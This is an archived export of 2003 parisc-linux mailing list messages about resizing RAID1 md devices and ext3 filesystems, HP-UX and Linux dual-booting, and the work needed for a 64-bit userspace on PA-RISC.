Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC Linux RAID1 Root HOWTO
Date: 15 Jan 2003 11:26:24 -0500
Organization: mkp.net
Lines: 34
Approved: news@gmane.org
Message-ID: <yq1fzru4bwv.fsf@austin.mkp.net>
References: <3E1AA7C1000015EB@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622118 20018 80.91.229.3 (22 Nov 2014 02:08:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:38 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: jsoe0708@tiscali.be
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 09:26:16 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [66.11.169.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id 47C534829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 09:26:15 -0700 (MST)
Original-Received: from austin.mkp.net (rover.mkp.net [209.217.122.9])
	by jaguar.mkp.net (Postfix) with ESMTP
	id 61DAD177F4; Wed, 15 Jan 2003 11:26:11 -0500 (EST)
Original-Received: by austin.mkp.net (Postfix, from userid 1654)
	id 6EE8FC6EFD; Wed, 15 Jan 2003 11:26:24 -0500 (EST)
In-Reply-To: <3E1AA7C1000015EB@ocpmta7.freegates.net>
Original-Lines: 33
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17404

>>>>> "Joel" == jsoe0708  <jsoe0708@tiscali.be> writes:

Joel,

Joel> so, finaly, how to remumber md0 into md1 ...?

Why do you want to renumber it?  It's just an arbitrary name.


Joel> I would also ask you if you could advise me on the resizing of a
Joel> md.  My md7 is a raid1 with the last slices sda11 and sdb11 of
Joel> disks (mounted on /var). As there are still some free space at
Joel> the end of each disk, I would like to increase it. Could you
Joel> advise me howto do (I try to find doc but no success and my test
Joel> was not more succesfull and I do not want to loose the contents
Joel> of the fs)?

        http://unthought.net/raidreconf/index.shtml

Read the disclaimer carefully.

Once you've expanded the md device, you'll have to grow the
filesystem:

        http://ext2resize.sourceforge.net/

If I recall correctly, the ext3fs resizer isn't quite ready yet.  So
you may have to convert your filesystem back to ext2, resize it, and
then turn journalling back on.

-- 
Martin K. Petersen      http://mkp.net/



From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Steven Pritchard <steve@silug.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC Linux RAID1 Root HOWTO
Date: Wed, 15 Jan 2003 10:31:57 -0600
Lines: 13
Approved: news@gmane.org
Message-ID: <20030115163157.GA16579@osiris.silug.org>
References: <3E1AA7C1000015EB@ocpmta7.freegates.net> <yq1fzru4bwv.fsf@austin.mkp.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622118 20021 80.91.229.3 (22 Nov 2014 02:08:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:38 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: "Martin K. Petersen" <mkp@mkp.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 09:31:59 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from osiris.silug.org (osiris.silug.org [64.240.156.225])
	by dsl2.external.hp.com (Postfix) with ESMTP id B5B5D4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 09:31:58 -0700 (MST)
Original-Received: from osiris.silug.org (localhost [127.0.0.1])
	by osiris.silug.org (8.12.6/8.12.5) with ESMTP id h0FGVvDt016643;
	Wed, 15 Jan 2003 10:31:57 -0600
Original-Received: (from steve@localhost)
	by osiris.silug.org (8.12.6/8.12.6/Submit) id h0FGVvb6016641;
	Wed, 15 Jan 2003 10:31:57 -0600
X-Authentication-Warning: osiris.silug.org: steve set sender to steve@silug.org using -f
Content-Disposition: inline
In-Reply-To: <yq1fzru4bwv.fsf@austin.mkp.net>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17405

On Wed, Jan 15, 2003 at 11:26:24AM -0500, Martin K. Petersen wrote:
> If I recall correctly, the ext3fs resizer isn't quite ready yet.  So
> you may have to convert your filesystem back to ext2, resize it, and
> then turn journalling back on.

resize2fs (included in e2fsprogs) works fine on ext3.

Steve
-- 
steve@silug.org           | Southern Illinois Linux Users Group
(618)398-7360             | See web site for meeting details.
Steven Pritchard          | http://www.silug.org/


From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Martin K. Petersen" <mkp@mkp.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PA-RISC Linux RAID1 Root HOWTO
Date: 15 Jan 2003 11:38:29 -0500
Organization: mkp.net
Lines: 11
Approved: news@gmane.org
Message-ID: <yq1bs2i4bcq.fsf@austin.mkp.net>
References: <3E1AA7C1000015EB@ocpmta7.freegates.net>
	<yq1fzru4bwv.fsf@austin.mkp.net>
	<20030115163157.GA16579@osiris.silug.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622118 20022 80.91.229.3 (22 Nov 2014 02:08:38 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:38 +0000 (UTC)
Cc: jsoe0708@tiscali.be, parisc-linux@lists.parisc-linux.org
To: Steven Pritchard <steve@silug.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 09:38:24 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from jaguar.mkp.net (jaguar.mkp.net [66.11.169.42])
	by dsl2.external.hp.com (Postfix) with ESMTP id D216E4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 09:38:23 -0700 (MST)
Original-Received: from austin.mkp.net (rover.mkp.net [209.217.122.9])
	by jaguar.mkp.net (Postfix) with ESMTP
	id 46F5317825; Wed, 15 Jan 2003 11:38:22 -0500 (EST)
Original-Received: by austin.mkp.net (Postfix, from userid 1654)
	id 5B07EC6EFD; Wed, 15 Jan 2003 11:38:29 -0500 (EST)
In-Reply-To: <20030115163157.GA16579@osiris.silug.org>
Original-Lines: 10
User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.2
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17406

>>>>> "Steven" == Steven Pritchard <steve@silug.org> writes:

Steven> resize2fs (included in e2fsprogs) works fine on ext3.

Oh, right.  Forgot about that one.  It's offline only, but that's fine
in this case.

-- 
Martin K. Petersen      http://mkp.net/



From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "BUEHL,REINER (HP-Germany,ex1)" <reiner.buehl@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Is Linux and HP-UX coexistence on same system possible?
Date: Wed, 15 Jan 2003 17:56:03 +0100
Lines: 8
Approved: news@gmane.org
Message-ID: <FFE5E286773CD411873400D0B747AC580681AB8B@goedel.bbn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
X-Trace: ger.gmane.org 1416622119 20122 80.91.229.3 (22 Nov 2014 02:08:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:39 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 09:56:06 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnmg1.net.external.hp.com (bbnnmg1.net.external.hp.com [155.208.254.184])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABDE94829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 09:56:06 -0700 (MST)
Original-Received: from isar.bbn.hp.com (isar.bbn.hp.com [15.140.168.13])
	by bbnmg1.net.external.hp.com (Postfix) with ESMTP id 9A6D2302
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 17:56:05 +0100 (MET)
Original-Received: by isar.bbn.hp.com with Internet Mail Service (5.5.2655.55)
	id <C5MSM7P8>; Wed, 15 Jan 2003 17:56:05 +0100
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17407

Hi all,

Is it possible to install parisc linux into an empty logical volume of an
existing HP-UX 11 installation and then boot one or the other OS?

Best regards,
Reiner.


From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Is Linux and HP-UX coexistence on same system possible?
Date: Wed, 15 Jan 2003 17:01:44 +0000
Lines: 13
Approved: news@gmane.org
Message-ID: <20030115170144.K26554@parcelfarce.linux.theplanet.co.uk>
References: <FFE5E286773CD411873400D0B747AC580681AB8B@goedel.bbn.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622119 20285 80.91.229.3 (22 Nov 2014 02:08:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "BUEHL,REINER (HP-Germany,ex1)" <reiner.buehl@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 10:01:45 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B9EDE4829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 10:01:45 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18YqvA-0001dA-00; Wed, 15 Jan 2003 17:01:44 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <FFE5E286773CD411873400D0B747AC580681AB8B@goedel.bbn.hp.com>; from reiner.buehl@hp.com on Wed, Jan 15, 2003 at 05:56:03PM +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17408

On Wed, Jan 15, 2003 at 05:56:03PM +0100, BUEHL,REINER (HP-Germany,ex1) wrote:
> Hi all,
> 
> Is it possible to install parisc linux into an empty logical volume of an
> existing HP-UX 11 installation and then boot one or the other OS?

No, I'm afraid not.  Linux doesn't understand the LVM that HP-UX uses.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "FARINATI,LEANDRO (HP-Brazil,ex1)" <leandro.farinati@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 13:14:08 -0500
Lines: 15
Approved: news@gmane.org
Message-ID: <9A0482A7BD2506488AD9417C93F3714F011A1AE6@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
X-Trace: ger.gmane.org 1416622119 20288 80.91.229.3 (22 Nov 2014 02:08:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:39 +0000 (UTC)
To: "Parisc-Linux List (E-mail)" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 11:14:11 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel7.hp.com (atlrel7.hp.com [156.153.255.213])
	by dsl2.external.hp.com (Postfix) with ESMTP id BDE134829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 11:14:11 -0700 (MST)
Original-Received: from xatlrelay1.atl.hp.com (xatlrelay1.atl.hp.com [15.45.89.190])
	by atlrel7.hp.com (Postfix) with ESMTP id 84CC7805FF3
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 13:14:11 -0500 (EST)
Original-Received: from xatlbh1.atl.hp.com (xatlbh1.atl.hp.com [15.45.89.186])
	by xatlrelay1.atl.hp.com (Postfix) with ESMTP id 741981C000A2
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 13:14:11 -0500 (EST)
Original-Received: by xatlbh1.atl.hp.com with Internet Mail Service (5.5.2655.55)
	id <CR01HXML>; Wed, 15 Jan 2003 13:14:11 -0500
X-Mailer: Internet Mail Service (5.5.2655.55)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17409

	Hi people,

	Where am I find the to do list to 64 userspace (to compile 64 bits
applications)?

	Thanks in advance,

-----------------------------------------------------------------------
              Leandro Marcondes Farinati
                    Software Developer

*   leandro.farinati@hp.com




From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 13:40:28 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <200301151840.h0FIeS9I018903@hiauly1.hia.nrc.ca>
References: <9A0482A7BD2506488AD9417C93F3714F011A1AE6@xsp01.brazil.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622119 20290 80.91.229.3 (22 Nov 2014 02:08:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:39 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: leandro.farinati@hp.com (FARINATI, LEANDRO)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 11:40:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id DB1134829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 11:40:31 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0FIeTot018910;
	Wed, 15 Jan 2003 13:40:30 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0FIeS9I018903;
	Wed, 15 Jan 2003 13:40:28 -0500 (EST)
In-Reply-To: <9A0482A7BD2506488AD9417C93F3714F011A1AE6@xsp01.brazil.hp.com> from "FARINATI,LEANDRO" at Jan 15, 2003 01:14:08 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17410

> 	Hi people,
> 
> 	Where am I find the to do list to 64 userspace (to compile 64 bits
> applications)?

To my knowledge, there isn't one.  Roughly what is required is:

1) Kernel -- design and implement 64-bit system calls.

2) Binutils -- port hpux 64-bit tools to linux.

3) Gdb -- same as binutils.

4) GCC --  same as binutils.

5) Glibc -- implement 64-bit specific parts of ABI and system calls.

The ABI hasn't been discussed in detail other than it was to be generally
similar to that used under 64-bit hpux.   There are significant differences
between 64-bit hpux and 32-bit linux.  They use different linkers and
differ in the handling of function pointers.  The 32-bit linker was
ported from the 386 code while the 64-bit linker used by hpux was written
from scratch.  As a result, the 64-bit code is less tested and has more bugs.

Are you offering support from HP?  It's taken a number of years to
get to the current state of development on the 32-bit port given the
level of volunteer effort and support from HP.  What you are asking
won't happen for months, if not years.  The time to implement a 64-bit
userspace won't be as great as for the 32-bit port, but it still a
very significant effort.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 64 userspace
Date: Wed, 15 Jan 2003 18:46:36 +0000
Lines: 17
Approved: news@gmane.org
Message-ID: <20030115184636.M26554@parcelfarce.linux.theplanet.co.uk>
References: <9A0482A7BD2506488AD9417C93F3714F011A1AE6@xsp01.brazil.hp.com> <200301151840.h0FIeS9I018903@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622120 20293 80.91.229.3 (22 Nov 2014 02:08:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:40 +0000 (UTC)
Cc: "FARINATI, LEANDRO" <leandro.farinati@hp.com>,
	parisc-linux@lists.parisc-linux.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 11:46:37 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 24B764829
	for <parisc-linux@lists.parisc-linux.org>; Wed, 15 Jan 2003 11:46:37 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.33 #5)
	id 18YsYe-000394-00; Wed, 15 Jan 2003 18:46:36 +0000
Content-Disposition: inline
User-Agent: Mutt/1.2.5.1i
In-Reply-To: <200301151840.h0FIeS9I018903@hiauly1.hia.nrc.ca>; from dave@hiauly1.hia.nrc.ca on Wed, Jan 15, 2003 at 01:40:28PM -0500
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17411

On Wed, Jan 15, 2003 at 01:40:28PM -0500, John David Anglin wrote:
> To my knowledge, there isn't one.  Roughly what is required is:
> 
> 1) Kernel -- design and implement 64-bit system calls.

Another piece of the kernelside puzzle is designing the VM layout for
64-bit processes.  Do we want to (as ia64 does) reserve parts of the address
space for the kernel?  Map shared libraries in different quadrants from
the user process?  Keep data in yet another quadrant?

It's a lot of work, and I'm not sure the will is there to make it happen.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Carlos O'Donell <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] PARISC Userspace Updates 2003-01-14
Date: Wed, 15 Jan 2003 13:48:07 -0500
Lines: 13
Approved: news@gmane.org
Message-ID: <20030115184807.GB19253@systemhalted>
References: <20030115054942.GK11375@systemhalted> <20030115123701.C26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622120 20295 80.91.229.3 (22 Nov 2014 02:08:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:40 +0000 (UTC)
To: parisc-linux@parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Wed Jan 15 11:47:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from systemhalted (CPE00207807b093-CM.cpe.net.cable.rogers.com [24.112.180.230])
	by dsl2.external.hp.com (Postfix) with ESMTP id EB2BE4829
	for <parisc-linux@parisc-linux.org>; Wed, 15 Jan 2003 11:47:57 -0700 (MST)
Original-Received: from carlos by systemhalted with local (Exim 3.36 #1 (Debian))
	id 18Ysa7-0005Jc-00
	for <parisc-linux@parisc-linux.org>; Wed, 15 Jan 2003 13:48:07 -0500
Mail-Followup-To: Carlos O'Donell <carlos@baldric.uwo.ca>,
	parisc-linux@parisc-linux.org
Content-Disposition: inline
In-Reply-To: <20030115123701.C26554@parcelfarce.linux.theplanet.co.uk>
User-Agent: Mutt/1.4i
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17412

> > A new year and a new look at our userspace. Spurred on by Willy's email
> > about Kernel developments, I wanted to recap some userspace movement in
> > the past while: 
> 
